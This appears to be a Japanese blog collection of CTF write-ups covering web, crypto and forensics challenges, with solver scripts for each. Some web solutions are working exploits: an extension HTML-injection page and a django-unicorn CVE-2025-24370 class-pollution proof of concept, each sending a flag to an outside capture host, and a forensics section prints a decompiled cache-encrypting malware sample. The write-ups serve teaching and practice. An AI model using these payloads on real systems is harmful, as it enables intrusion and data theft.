        out.extend('🚀' * r)
    return ''.join(out)

if __name__ == '__main__':
    msg = 'Hello!'
    enc = encode(msg.encode())
    print('msg:', msg)
    print('enc:', enc)

入力を絵文字に変える機能を持っている。デコードを書くとフラグが得られる。

#!/usr/bin/env python🚀

with open('emoji.txt', 'r', encoding='utf-8') as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}

def decode(data):
    out = list(data)
    while out and out[-1] == '🚀':
        out.pop()
    bits = ''
    for ch in out:
        for i, c in table.items():
            if c == ch:
                bits += f'{i:010b}'
                break
    if len(bits) % 8 != 0:
        bits = bits[:-(len(bits) % 8)]
    return bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))

flag = "🪛🔱🛜🫗🚞👞🍁🎩🚎🐒🌬🧨🖱🥚🫁🧶🪛🔱👀🔧🚞👛😄🎩🚊🌡🌬🧮🤮🥚🫐🛞🪛🔱👽🔧🚞🐻🔳🎩😥🪨🌬🩰🖖🥚🫐🪐🪛🔱👿🫗🚞🏵📚🎩🚊🎄🌬🧯🕺🥚🫁📑🪛🔰🐀🫗🚞💿🔳🎩🚲🚟🌬🧲🚯🥚🫁🚰🪛🔱💀🔧🚞🏓🛼🎩🚿🪻🌬🧪🙊🥚🫐🧢🪛🔱🛟🔧🚞🚋🫳🎩😆🏉🌬🧶🚓🥚🫅💛🪛🔱🔌🐃🚞🐋🥍🎩😱🤮🌬🩰🛳🥚🫀📍🪛🔰🐽🫗🚞💿🍁🎩🚊🌋🌬🧵🔷🚀🚀🚀"
flag = decode(flag).decode()
flag = decode(flag).decode()
print(flag)

[web] regex-auth

正規表現で認可制御をしてみました!

@app.route("/dashboard")
def dashboard():
    username = request.cookies.get("username")
    uid = request.cookies.get("uid")

    if not username or not uid:
        return redirect("/")

    try:
        user_id = base64.b64decode(uid).decode()
    except Exception:
        return redirect("/")

    if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE): 
        role = f"{FLAG}"
    else:
        role = "OTHER"

    return render_template_string(dashboard_page, user=username, uid=user_id, role=role)

uidはbase64エンコーディングされてCookieに入っているので、改ざんできる。空文字は何でもマッチングするのでguestをquestに変えてbase64エンコードしなおして送ればフラグが手に入る。

curl 'http://chal2.fwectf.com:8001/dashboard' -b 'username=evilman; uid=cXVlc3RfNzA0NjE='

[web] AED

Revive this broken heart!

app.get("/heartbeat", c => {
  const s = getSession(c.get("sid"))
  if (!pwned) {
    const char = DUMMY[Math.floor(Math.random() * DUMMY.length)]
    return c.json({ pwned: false, char })
  }
  if (s.idx === -1) s.idx = 0
  const pos = s.idx
  const char = FLAG[pos]
  s.idx = (s.idx + 1) % FLAG_LEN
  return c.json({ pwned: true, char, pos, len: FLAG_LEN })
})

pwnedが最初falseなので、まずはこれを何とかtrueにする必要がある。変更できるポイントを見てみると

app2.get("/toggle", c => {
  pwned = true
  sessions.forEach(s => (s.idx = -1))
  return c.text("OK")
})

呼ぶだけなのだが、app2とある。app2?

const app2 = new Hono()

const handler2 = (req: Request, server: any) => {
  const ip = server.requestIP(req)?.address ?? ""
  return app2.fetch(req, { REMOTE_ADDR: ip })
}

Bun.serve({ port: 3000, reusePort: true, fetch: handler })
Bun.serve({ port: 4000, reusePort: true, fetch: handler2 })

もう1つサーバーが立ち上がっているようだ。fetchができるエンドポイントがあるので、ここから呼ぶのだろう。

const isAllowedURL = (u: URL) => u.protocol === "http:" && !["localhost", "0.0.0.0", "127.0.0.1"].includes(u.hostname)

app.get("/fetch", async c => {
  const raw = c.req.query("url")
  if (!raw) return c.text("missing url", 400)
  let u: URL
  try {
    u = new URL(raw)
  } catch {
    return c.text("bad url", 400)
  }
  if (!isAllowedURL(u)) return c.text("forbidden", 403)
  const r = await fetch(u.toString(), { redirect: "manual" }).catch(() => null)
  if (!r) return c.text("upstream error", 502)
  if (r.status >= 300 && r.status < 400) return c.text("redirect blocked", 403)
  return c.text(await r.text())
})

リダイレクトは使えないので、他に使えそうなやつを探すと[::]が使える。

> new URL("http://[::]:80/").hostname
'[::]'

という訳でGET /fetch?url=http://[::]:4000/toggleするとOKと帰ってくるのでGET /に戻るとフラグが楽しげにもらえる。

[web] Browser Memo Pad

Chrome拡張機能を作ってみました!ぜひ使ってください!

Browser Memo Padという拡張機能が与えられて管理者botのみ動くサイトが与えられる。bot

  1. 管理者botサイト上でBrowser Memo Padを使ってフラグをキーワードにメモを取る
  2. 攻撃者の用意したサイトを踏む
  3. Browser Memo Padのpopupサイトを開き、最後に登録されたメモのリンクを踏む

拡張機能のcontent scriptsは以下のように

  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "css": ["content.css"]
    }
  ],

どんなサイトでも追加され、Browser Memo Padに登録するには、ここで登録されたスクリプトwindow.postMessage({type: "create", payload: flag});のように使って、メモを取ることができる。つまり、方針としては、手順2で踏ませる攻撃者の用意したサイトで悪意あるメモを取ることによって、他のメモの内容を盗めればクリアということになる。

ソースコードを全て参照すると長くなるので、重要な部分を抜粋する。拡張機能のpopupサイトで使われているjavascriptで以下の部分が重要。

// Load all saved memos from local storage and show them on the page
function loadMemos() {
    chrome.storage.local.get(['memos'], function(result) {
        const memos = result.memos || [];
        const memoList = document.getElementById('memoList');
        
        if (memos.length === 0) {
            memoList.innerHTML = '<div class="no-memos">No memos saved</div>';
            return;
        }
        
        // Insert the generated HTML into the memo list element
        let html = '';
        memos.forEach((memo, index) => {
            html += `
                <div class="memo-item" data-index="${index}">
                    <div class="memo-content">${memo.text}</div>
                    <div class="memo-meta">
                        📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                        🕒 <span class="memo-time">${memo.timestamp}</span>
                    </div>
                    <button class="delete-btn" data-id="${index}">🗑️</button>
                </div>
            `;
        });
        memoList.innerHTML = html;

        // Add event listeners to delete buttons to remove memos
        document.querySelectorAll('.delete-btn').forEach(btn => {
            btn.addEventListener('click', () => {
                const id = Number(btn.getAttribute('data-id'));
                deleteMemo(id);

            });
        });

        // View the website from which the memo was saved
        const links = memoList.querySelectorAll('.memo-url');
        links.forEach(link => {
            link.addEventListener('click', function (e) {
                e.preventDefault();

                const dataIndex = link.closest('.memo-item')?.dataset.index;
                if (dataIndex === undefined) return;

                chrome.storage.local.get('memos', ({ memos = [] }) => {
                    const memo = memos[+dataIndex];
                    if (!memo) return;

                    const url = link.href.split('#')[0];
                    if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                        console.error('invalid url');
                        return;
                    }
                    const encodedText = encodeURIComponent(memo.text);
                    const urlWithFragment = `${url}#:~:text=${encodedText}`;

                    chrome.tabs.create({ url: urlWithFragment });
                });
            });
        });
    });
}

取ったメモには、メモを取った時のキーワードとURLが記録されていて、Text Fragmentsを使ってそのキーワードに飛べるようなURLを作って踏むことで移動できるようになっている。今回はキーワードにフラグが設定されているので、Text Fragmentsという形でURLにフラグが含まれることになる。botの動きも「最後に登録されたメモのリンクを踏む」をするので、これを使うのだろう。

まず、HTML Injectionができることを見つける必要がある。

// Insert the generated HTML into the memo list element
let html = '';
memos.forEach((memo, index) => {
    html += `
        <div class="memo-item" data-index="${index}">
            <div class="memo-content">${memo.text}</div>
            <div class="memo-meta">
                📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                🕒 <span class="memo-time">${memo.timestamp}</span>
            </div>
            <button class="delete-btn" data-id="${index}">🗑️</button>
        </div>
    `;
});
memoList.innerHTML = html;

以上のように埋め込んでinnerHTMLに入れているので、HTML Injectionができる。攻撃サイトで

window.postMessage({type: "create", payload: "<img src='https://[yours].requestcatcher.com/test'>"});

のように呼んでHTMLを登録すれば、popupサイトを開いたときにリクエストが飛ぶのを確認できる。管理botにURLを送るときはHTTPにしないとうまくいかないので注意。自分はVPSをかりて XSSしてやればいいような感じが出ているが、拡張機能マニフェストファイルにて

  "content_security_policy": {
    "extension_pages": "script-src 'self'"
  }

のようにCSPがかかっているので難しい。どうするかというと、HTML Injectionと既存のロジックを組み合わせて解く。悪用するロジックは以下。

// View the website from which the memo was saved
const links = memoList.querySelectorAll('.memo-url');
links.forEach(link => {
    link.addEventListener('click', function (e) {
        e.preventDefault();

        const dataIndex = link.closest('.memo-item')?.dataset.index;
        if (dataIndex === undefined) return;

        chrome.storage.local.get('memos', ({ memos = [] }) => {
            const memo = memos[+dataIndex];
            if (!memo) return;

            const url = link.href.split('#')[0];
            if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                console.error('invalid url');
                return;
            }
            const encodedText = encodeURIComponent(memo.text);
            const urlWithFragment = `${url}#:~:text=${encodedText}`;

            chrome.tabs.create({ url: urlWithFragment });
        });
    });
});

.memo-urlを列挙して、親要素にある.memo-itemからindexを取ってきて、そのindexからmemo.textを持ってきてText Fragmentsとして.memo-urlのURLにくっつけてリンクを作っている。通常は.memo-urlと親要素の.memo-itemが同一メモになっているので問題ないのだが、HTML Injectionを使うことでそれをあべこべにして、.memo-urlを攻撃者のURLにして、.memo-itemのindexをフラグのものにすることで、攻撃者のURLにフラグがText Fragmentsとしてつけられた状態にして、それをbotに踏ませることで攻撃者のサイトに送るようにする。

言葉だけだとよく分からないと思うが、具体的には以下のようなHTMLをインジェクションする。

    </div>
    <div class='memo-meta'>
        📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 
        🕒 <span class='memo-time'>Fake</span>
    </div>
    <button class='delete-btn' data-id='1'>🗑️</button>
</div>
<div class='memo-item' data-index='0'>
    <div class='memo-content'>

これを追加することで

<div class="memo-item" data-index="${index}">
    <div class="memo-content"></div>
    <div class='memo-meta'>
        📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 
        🕒 <span class='memo-time'>Fake</span>
    </div>
    <button class='delete-btn' data-id='1'>🗑️</button>
</div>
<div class='memo-item' data-index='0'>
    <div class='memo-content'></div>
    <div class="memo-meta">
        📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
        🕒 <span class="memo-time">${memo.timestamp}</span>
    </div>
    <button class="delete-btn" data-id="${index}">🗑️</button>
</div>

こんな感じにできるので、botがクリックする最後の要素の.memo-itemのindexが0(フラグのもの)にしつつ、その子要素に攻撃者のmemo.urlを設定できる。 これで、攻撃者のサイトにhttp://[attacker]/#:~:text=[フラグ]みたいな感じでフラグを送ることができるので、あとはそれを転送する。 ちなみに、document.location.hashではtext fragments取れないので、performance.getEntriesByType("navigation")[0].nameを使うこと。(これは知らなかったのだがググったら出てきた) 攻撃者サイトを用意する最終的なコードは以下となった。

from flask import Flask

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return """
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {
      fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: performance.getEntriesByType("navigation")[0].name });
      window.postMessage({type: "create", payload: "</div><div class='memo-meta'>📍 <a class='memo-url' href='http://localhost/'>http://localhost/</a> | 🕒 <span class='memo-time'>Fake</span></div><button class='delete-btn' data-id='1'>🗑️</button></div><div class='memo-item' data-index='0'><div class='memo-content'>"});
    }, 0);
</script>
"""

if __name__ == "__main__":
    app.run("0.0.0.0", port=80)

[crypto] Load × Limit × Loot

Let’s pack the knapsack and go on a picnic.

ナップサック暗号。LLLで解けることが知られている。LO法というのがあるので、それをそのまま実装すればフラグが得られる。kusanoさんの記事にすべてが書いてある。

from Crypto.Util.number import *

P = [redacted]
C = [redacted]

def LO(p,c):
    I = matrix.identity(ZZ, 64)
    C = Matrix(ZZ, p).T
    Z = matrix(ZZ, 1, 64)
    K = matrix.identity(ZZ, 1) * (-c)

    cands = block_matrix(
        [
            [I      , C     ],
            [Z      , K     ]
        ]
    ).LLL()

    for cand in cands:
        tot = sum(ai*xi for ai, xi in zip(p, cand[:-1]))
        ok = (cand[64] == 0) and (tot == c)
        if ok:
            ans = 0
            for xi in cand[:-1]:
                ans *= 2
                ans += xi
            return long_to_bytes(ans)

ans = ''
for i in range(len(C)):
    ans += LO(P, C[i]).decode()
print(ans)

[crypto] unixor

I wanna be a novelist

FLAG = b"fwectf{**REDACTED**}"

assert len(FLAG) < 30

"""
novel.txtはChatGPT 5 Autoによって生成された、UTF-8(BOMなし、改行LF)で書かれた小説です。

プロンプト(一部修正):
「**REDACTED**」という単語から連想される、1500字程度の小説を書いてください。
"""
novel = open("novel.txt", "rb").read()

encrypted = bytes([a ^ FLAG[i % len(FLAG)] for i, a in enumerate(novel)])
open("encrypted.txt", "wb").write(encrypted)

以上のような暗号スクリプトが与えられる。暗号化キー的にfwectf{というのが繰り返されるはずなので、以下のような感じで日本語が出てこないか探索してみる。7bytesでやるとUTF-8へデコードするときにエラーになるので1つ減らして6bytesで探索する。

novel = open("encrypted.txt", "rb").read()

pre = b"fwectf"
for i in range(len(novel) - len(pre) + 1):
    try:
        post = bytes([a ^ pre[i] for i, a in enumerate(novel[i:i+len(pre)])])
        print(i, post.decode())
    except:
        pass

とやると、

$ python3 solver.py | tee res.txt
0  潮
16 ֨ܘı
24 漂う
288 三代
312 だが
336 れが
352 Чܱ޺
360 だけ
384 そん
...

となり、フラグの長さ24文字っぽいと分かる。また、復号化するときの先頭バイトとして使えそうなポイントがいくつか得られるので、フラグの先頭を全探索して、この使えそうなポイントで出てくる文字を見ながら文章になるようなものを探索する。

import string

novel = open("encrypted.txt", "rb").read()
for c1 in string.printable:
    for c2 in string.printable:
        try:
            FLAG = ("fwectf{" + c1 + c2).encode()
            res = f"{FLAG}"
            for si in [0, 24, 288, 312, 336, 360, 384, 408, 432, 456,480,504,840,864,888,912,936,960,984,1008,1032,1056,1080,1104,1128,1152,1176,1200,1464,1488,1512,1536,1560,1584,1608,1632,1656,1680,1704,1728,1752,1776,2448,2472,2496,2520,2544,2568,2592,2616,2640,2664,2688,2712,2736]:
                decrypted = bytes([a ^ FLAG[i] for i, a in enumerate(novel[si:si+len(FLAG)])])
                dec = decrypted.decode()
                res += " | " + str(si) + "," + dec
            print(res)
        except:
            pass

出力をいい感じに見ると

b'fwectf{dC' |  潮の | 漂う港 | 三代続 | だが近 | れが減 | だけが | そんな | 的経済 | う言葉 | とって | 突然落 | 物のよ | 日、洋 | 見の羅 | 、沖へ | 流れを | 探知機 | 応を追 | づけば | ぎりぎ | いた。 | れたそ | 際の海 | えない | と海の | い、境 | しない | 広がっ | で洋介 | り、ま | などな | に進ん | 洋介は | み込み | を見送 | よりも | 空虚さ | った。 | のでも | 線を引 | ら争い | のだ。 | ふと、 | に守り | 国の海 | それと | きるた | のかを | えはま | ただ、 | 出るだ | の向こ | 日より | 魚が泳 | がする

見つかる。今回は{が既知だったので2文字探索したが、次は3文字探索しつつ、日本語が続かなさそうな所をいい感じに省きながら根性すると、フラグが得られる。

import string

novel = open("encrypted.txt", "rb").read()

FLAG_PRE = "fwectf{dC0D3_fR_1S_D3"
for c1 in string.printable:
    for c2 in string.printable:
        for c3 in string.printable:
            try:
                FLAG = (FLAG_PRE + c1 + c2 + c3).encode()
                res = f"{FLAG}"
                #for si in [0, 288, 312, 336, 360, 384, 408, 432, 456,480,504,840,864,888,912,936,960,984,1008,1032,1056,1080,1104,1128,1152,1176,1200,1464,1488,1512,1536,1560,1584,1608,1632,1656,1704,1728,1752,2448,2472,2496,2520,2544,2568,2592,2616,2640,2664,2688,2712]:
                for si in [0, 288, 312, 336, 360, 384, 408, 432,]:
                    decrypted = bytes([a ^ FLAG[i] for i, a in enumerate(novel[si:si+len(FLAG)])])
                    dec = decrypted.decode()
                    res += " | " + dec
                print(res)
            except:
                pass

seek3()

小説の中身は解いてからのお楽しみ。

CubeCTF Writeup

[web] Legal Snacks

We got hungry writing this challenge...

Flask製のECサイトで、99999.99ドルの「Elite Hacker Snack」を購入してフラグを取得する問題。初期残高は100ドル。フラグが得られる部分は以下のようになっている。

if any(item.product.name == 'Elite Hacker Snack' for item in order.items):
    return render_template('order_confirmation.html', order=order, flag=os.environ.get('FLAG'))

これを見てみると... 個数チェックが無い!よって、0個これを買ってもフラグが得られてしまう。しかも、購入時に0個でカートに入れることは可能なので、適当な安い製品と共に0個「Elite Hacker Snack」を買うことでフラグが手に入ってしまう。ソルバは以下。

import requests

base_url = "http://localhost:5000"
s = requests.Session()

s.post(f"{base_url}/register", data={"username": "hacker", "password": "pass123"})
s.post(f"{base_url}/cart/add", data={"product_id": 6, "quantity": 0})
s.post(f"{base_url}/cart/add", data={"product_id": 5, "quantity": 1})
checkout_resp = s.post(f"{base_url}/checkout", allow_redirects=False)
redirect_url = checkout_resp.headers.get('Location')

order_id = re.search(r'/orders/(\d+)/receipt', redirect_url).group(1)
orders = s.get(f"{base_url}/orders/{order_id}/receipt")

[web] Todo

I'm sure at some point we'll get around to finishing this one...

Djangoで作られたサイトが与えられる。怪しい部分はフラグを使っているここ。

def home(request):
    # todo charge users $49.99/month because greed
    # todo dont send the confidential flag ...
    print(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
    system(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
    return render(request, f'index.html')

どう見ても怪しい。settings.CONTACT_URLを操作できれば、フラグを外部に持ち出すことができる。他に怪しいのは...

RUN pip install django django-unicorn==0.60.0

ここ!CVE-2025-24370というのがあり、題名としてClass Pollution Vulnerabilityが付いていた。これですね。ここに解説があるので、これを元にガチャガチャやっていると

{
    "actionQueue": [
        {
            "type": "syncInput",
            "payload": {
                "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
                "value": "https://[yours].requestcatcher.com/test"
            }
        }
    ]
}

このようなbodyを送れば、CONTACT_URLを上書きできる。つまり、PoCは以下。

#!/usr/bin/env python3
import requests
import re
import sys

target_url = "http://[redacted]:1337"
attacker_url = "https://[yours].requestcatcher.com/test"

# Get CSRF token
resp = requests.get(target_url)
csrf_token = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text).group(1)
cookies = resp.cookies

# CVE-2025-24370: Exploit django-unicorn model binding
# https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43
payload = {
    "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
        "value": attacker_url
      }
    }
  ],
}

requests.post(f"{target_url}/unicorn/message/todo", data=payload, cookies=cookies, headers={'X-Requested-With': 'XMLHttpRequest'})
requests.get(target_url, cookies=cookies)
print(f"Flag sent to {attacker_url}")

[forensics] Operator

I think someone has been hiding secrets on my server. Can you find them?

operator.pcapが与えられて解析する問題。中身を確認すると

  1. id - root権限確認
  2. nc -lvp 2025 > /tmp/xcat - netcatでファイル受信
  3. ELFバイナリ転送 (7240バイト、Stream index 6)
  4. chmod +x /tmp/xcat - 実行権限付与
  5. /tmp/xcat -l 202 - バイナリ実行

このような感じになっている。ELFバイナリをtshark -r operator.pcap -z follow,tcp,raw,6 -q | grep -v "===" | tr -d '\n' | xxd -r -p > payloadみたいに持ってきて解析してみると、

sym.chat関数内でXOR暗号化をしていて、キーは040717764269b00bde1823221eedf7aeと判明する。これを使って暗号化された通信を復号化するとフラグが得られた。

[forensics] Discord

I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back!

ディスクイメージのうち、ホームディレクトリ以下が与えられる。問題によると削除されたDiscord画像が復元できればいいらしい。AppDataのdiscordディレクトリを眺めてキャッシュがあるCache/Cache_Data/を見るとデータはあるが、.encという拡張子が付いている。ChromeCacheViewで見れると手元のメモにはあるが、見れそうにない。

ここからアレコレ考えていると、Downloads/encrypt.exeというファイルがあることに気が付く。stringsで眺めるとPyInstallerで作られたexeっぽかったので、分解していく。encrypt.pycをpyにすると以下のようなコードが得られる。

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: encrypt.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import json
import os
from pathlib import Path
import psutil
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Util.Padding import pad

def get_appdata_path() -> Path:
    if os.getenv('APPDATA') is None:
        raise RuntimeError('APPDATA environment variable not set??')
    return Path(str(os.getenv('APPDATA'))).resolve()
if __name__ == '__main__':
    for proc in psutil.process_iter():
        if proc.name() == 'Discord.exe':
            print(f'Killing Discord (pid {proc.pid})')
            try:
                proc.kill()
            except psutil.NoSuchProcess:
                print('Process is already dead, ignoring')
    sentry_path = get_appdata_path() + 'Discord' + 'sentry' + 'scope_v3.json'
    with open(sentry_path, 'rb') as f:
        sentry_data = json.load(f)
    user_id = sentry_data['scope']['user']['id']
    salt = b'BBBBBBBBBBBBBBBB'
    key = PBKDF2(str(user_id).encode(), salt, 32, 1000000)
    iv = b'BBBBBBBBBBBBBBBB'
    cache_path = get_appdata_path() + 'Discord' + 'Cache' + 'Cache_Data'
    print(f'Encrypting files in {cache_path}...')
    for file in cache_path.iterdir():
        if not file.is_file():
            continue
        if file.suffix == '.enc':
            print(f'Skipping {file} (already encrypted)')
            continue
        try:
            with open(file, 'rb') as fp1:
                data = fp1.read()
        except PermissionError:
                print(f'Skipping {file} (file open)')
                continue
            cipher = AES.new(key, AES.MODE_CBC, iv=iv)
            ciphertext = cipher.encrypt(pad(data, 16))
            print(f'Encrypting {file}...')
            with open(file.with_suffix('.enc'), 'wb') as fp2:
                fp2.write(ciphertext)
            file.unlink()

暗号化方式が分かったので、.encを以下のようなアルゴリズムで戻していく。

# decrypt_cache.py
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad

# sentry.jsonからuser_idを取得
user_id = "1334198101459861555"

# 暗号化と同じパラメータで復号
salt = b'BBBBBBBBBBBBBBBB'
key = PBKDF2(str(user_id).encode(), salt, 32, 1000000)
iv = b'BBBBBBBBBBBBBBBB'

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = unpad(cipher.decrypt(ciphertext), 16)

これでChromeCacheViewで見られる状態になったので、探索していくとフラグが書かれたWebP形式の画像ファイルが見つかる。

AlpacaHack Round 12 (Crypto) Writeup

RSARSARSARSARSARSA

You don't have to say it again and again...

問題は簡潔。

from math import gcd
import os
from Crypto.Util.number import getPrime, bytes_to_long

e = 19
while True:
    p = getPrime(2048)
    q = getPrime(2048)
    if gcd((p - 1) * (q - 1), e) == 1:
        break
n = p * q

flag = os.environ.get("FLAG", "Alpaca{**** REDACTED ****}")
assert len(flag) == 26 and flag.startswith("Alpaca{") and flag.endswith("}")

m = bytes_to_long((flag * 1337).encode())
c = pow(m, e, n)

print(f"{n = }")
print(f"{e = }")
print(f"{c = }")

RSA暗号。e=19と小さいのと、26文字のフラグが1337回繰り返した状態で平文にしてあるのが特徴。フラグはAlpaca{}で囲われているので不明なバイト数は18bytes。これが繰り返されているので暗号文全体は4096bitsだが、未知変数は18*8bitsしかないので、Coppersmithで解く。

from Crypto.Util.number import *

n = 4342452751297...[redacted]...7965527
e = 19
c = 7833881697699...[redacted]...470920836

prefix = b"Alpaca{"
suffix = b"}"

Z.<x> = PolynomialRing(Zmod(n))

flag_template = prefix + b'\x00' * 18 + suffix
repeated_template = flag_template * 1337
template_int = bytes_to_long(repeated_template)

first_unknown_pos = len(suffix)
coeff = 0

for rep in range(1337):
    pos_in_full = rep * 26 + first_unknown_pos
    byte_coeff = 256 ** pos_in_full
    coeff += byte_coeff

f = (template_int + coeff * x)^e - c

f = f.monic()
roots = f.small_roots(X=2**(8*18), epsilon=1/30)
print(prefix + long_to_bytes(int(roots[0]), 18) + suffix)

このように不明部分を1つの変数としてCoppersmithする。

OTEC

Obliviate!

楕円曲線を使った Oblivious Transfer (OT) プロトコルの実装で、フラグが3つに分割されて暗号化されている。

import os
import signal
import secrets
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes

signal.alarm(60)

flag = os.environ.get("FLAG", "Alpaca{**** REDACTED ****}").encode()

# Oblivious Transfer using Elliptic Curves
G = secp256k1.G
a = secrets.randbelow(secp256k1.q)
A = a * G

print(f"{A.x = }")
print(f"{A.y = }")

x, y = map(int, input("B> ").split(","))
B = Point(x, y, secp256k1)

k0 = long_to_bytes((a * B).x, 32)
k1 = long_to_bytes((a * (B - A)).x, 32)

def encrypt(message, key):
    return AES.new(key, AES.MODE_ECB).encrypt(pad(message, 16))

print(encrypt(flag[0::3], k0).hex())
print(encrypt(flag[1::3], k1).hex())
print(encrypt(flag[2::3], bytes(c0 ^ c1 for c0, c1 in zip(k0, k1))).hex())

実装はこんな感じ。k0,k1,bytes(c0 ^ c1 for c0, c1 in zip(k0, k1)が分かれば解ける。Aが与えられていて、Bを入力できるので良い感じの入力を入れて、これら3つを確定させていく。一気に確定させるのは難しいので別々のセッションで別々に復元してつなげる。

k0

k0 = long_to_bytes((a * B).x, 32)と計算される。aは分からないのだが、Gは分かるので、B=Gとしてやれば、aGのx座標が鍵になり、これは与えられるAのx座標と同じなので、k0が判明する。

これによりprint(encrypt(flag[0::3], k0).hex())を復元できる。

k1

k1 = long_to_bytes((a * (B - A)).x, 32)と計算される。B=Aとしてやれば無限遠のx座標にすることができるが、これはライブラリが取得できずに例外で落ちてしまうので、B=A+GとすることでaGのx座標を鍵にすることができ、これはk0の時と同様に与えられるAのx座標と同じなので、k1が判明する。

これによりprint(encrypt(flag[1::3], k1).hex())を復元できる。

bytes(c0 ^ c1 for c0, c1 in zip(k0, k1))

これが一番難しい。

k0 = long_to_bytes((a * B).x, 32)
k1 = long_to_bytes((a * (B - A)).x, 32)

という計算があり、それを元にbytes(c0 ^ c1 for c0, c1 in zip(k0, k1))を計算している。方向性として計算結果が0になるようにしてみよう。つまり、(a * B).x = (a * (B - A)).xを目指す。x座標が一致すればいいので、点としてはa * B = a * (B - A)a * B = -(a * (B - A))を満たせばよい。

 \displaystyle
\begin{align*}
a \cdot B &= a \cdot (B - A) \\
a \cdot B &= a \cdot B - a \cdot A \\
0 &= -a \cdot A \\
0 &= A
\end{align*}

1つ目はこうなるのでダメ。

 \displaystyle
\begin{align*}
a \cdot B &= -(a \cdot (B - A)) \\
a \cdot B &= -a \cdot B + a \cdot A \\
2a \cdot B &= a \cdot A \\
2B &= A \\
B &= \frac{A}{2}
\end{align*}

2つ目はこうできるので、B=A/2であれば(a * B).x = (a * (B - A)).xとなり、鍵は最終的に0にできる。2で割るのは計算可能なので、これで鍵を0にすることができ、print(encrypt(flag[2::3], bytes(c0 ^ c1 for c0, c1 in zip(k0, k1))).hex())が復元できる。

ソルバ

最終的に以下のようにやればフラグが手に入る。

from ptrlib import *
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes, inverse

def get_A(r):
    r.recvuntil(b'A.x = ')
    ax = int(r.recvline().strip())
    r.recvuntil(b'A.y = ')
    ay = int(r.recvline().strip())
    return ax, ay

def get_ciphertexts(r, B_coords):
    r.sendlineafter("B> ", f"{B_coords[0]},{B_coords[1]}".encode())
    
    c0_hex = r.recvline().strip().decode()
    c1_hex = r.recvline().strip().decode()
    c2_hex = r.recvline().strip().decode()
    
    return c0_hex, c1_hex, c2_hex

def decrypt_part(ciphertext_hex, key):
    ciphertext = bytes.fromhex(ciphertext_hex)
    aes = AES.new(key, AES.MODE_ECB)
    return unpad(aes.decrypt(ciphertext), 16)

def get0():
    print("Getting part0...")
    
    r = remote('[redacted]', 62340)
    ax, ay = get_A(r)
    G = secp256k1.G
    c0_hex, c1_hex, c2_hex = get_ciphertexts(r, (G.x, G.y))
    r.close()
    
    k0 = long_to_bytes(ax, 32)
    part0 = decrypt_part(c0_hex, k0)
    
    return part0

def get1():
    print("Getting part1...")
    
    r = remote('[redacted]', 62340)
    ax, ay = get_A(r)
    
    A = Point(ax, ay, secp256k1)
    G = secp256k1.G
    B = A + G
    
    c0_hex, c1_hex, c2_hex = get_ciphertexts(r, (B.x, B.y))
    r.close()
    
    k1 = long_to_bytes(ax, 32)
    part1 = decrypt_part(c1_hex, k1)
    
    return part1

def get2():
    print("Getting part2...")
    
    r = remote('[redacted]', 62340)
    ax, ay = get_A(r)
    
    A = Point(ax, ay, secp256k1)
    inv2 = inverse(2, secp256k1.q)
    B_half = inv2 * A
    
    c0_hex, c1_hex, c2_hex = get_ciphertexts(r, (B_half.x, B_half.y))
    r.close()
    
    k2 = b'\x00' * 32
    part2 = decrypt_part(c2_hex, k2)
    
    return part2

def combine_parts(part0, part1, part2):
    flag = b''
    max_len = max(len(part0), len(part1), len(part2))
    
    for i in range(max_len):
        if i < len(part0):
            flag += part0[i:i+1]
        if i < len(part1):
            flag += part1[i:i+1]
        if i < len(part2):
            flag += part2[i:i+1]
    
    return flag

def main():
    print("=== OTEC Final Clean Solver ===")
    
    part0 = get0()
    part1 = get1()
    part2 = get2()
    
    print(f"part0: {part0}")
    print(f"part1: {part1}")
    print(f"part2: {part2}")
    
    flag = combine_parts(part0, part1, part2)
    print(f"\nFLAG: {flag.decode()}")

if __name__ == "__main__":
    main()